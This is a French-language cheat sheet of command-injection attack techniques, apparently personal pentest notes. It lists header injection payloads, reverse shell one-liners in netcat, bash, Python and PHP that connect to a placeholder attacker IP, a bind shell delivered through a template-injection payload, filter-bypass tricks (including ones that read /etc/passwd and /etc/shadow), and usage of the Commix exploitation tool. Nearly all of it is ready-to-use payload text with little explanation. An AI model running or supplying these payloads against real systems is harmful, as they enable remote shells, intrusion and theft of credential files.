Command Injection

2026-03-13#command-injection#reverse-shell#bypass#web#exploitation

Injection dans les headers HTTP

User-Agent: '; sleep 10'

Reverse Shell

Machine attaquante — listener

nc -lvp 4444

Machine cible — connexion

# Netcat nc -e /bin/sh IP_ATTAQUANT 4444 # Bash bash -c 'bash -i >& /dev/tcp/IP_ATTAQUANT/4444 0>&1' # Python python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("IP_ATTAQUANT",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' # PHP <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/IP_ATTAQUANT/4444 0>&1'"); ?>

SSTI

# Listener sur la machine cible nc -nlvp 4444 -e /bin/bash # Payload SSTI {{['nc -nlvp 4444 -e /bin/bash']|filter('system')}} # Connexion depuis la machine attaquante nc -nv IP_CIBLE 4444

Générateur de reverse shells : revshells.com

Bypass de filtres

Whitespace bloqué — remplacer les espaces par ${IFS} :

ls${IFS}/etc/passwd cat${IFS}/etc/shadow

Commande blacklistée — insérer des quotes au milieu :

w'h'o'am'i w"h"o"am"i

Autres contournements :

who$()ami who`echo am`i

Commix

Outil automatisé d'exploitation de command injection.

git clone https://github.com/commixproject/commix.git commix cd commix
python3 commix.py \ --url="http://example.com/index.php" \ --data="command=test" \ --method=POST
OptionDescription
--urlURL cible
--dataParamètres POST
--methodMéthode HTTP (GET/POST)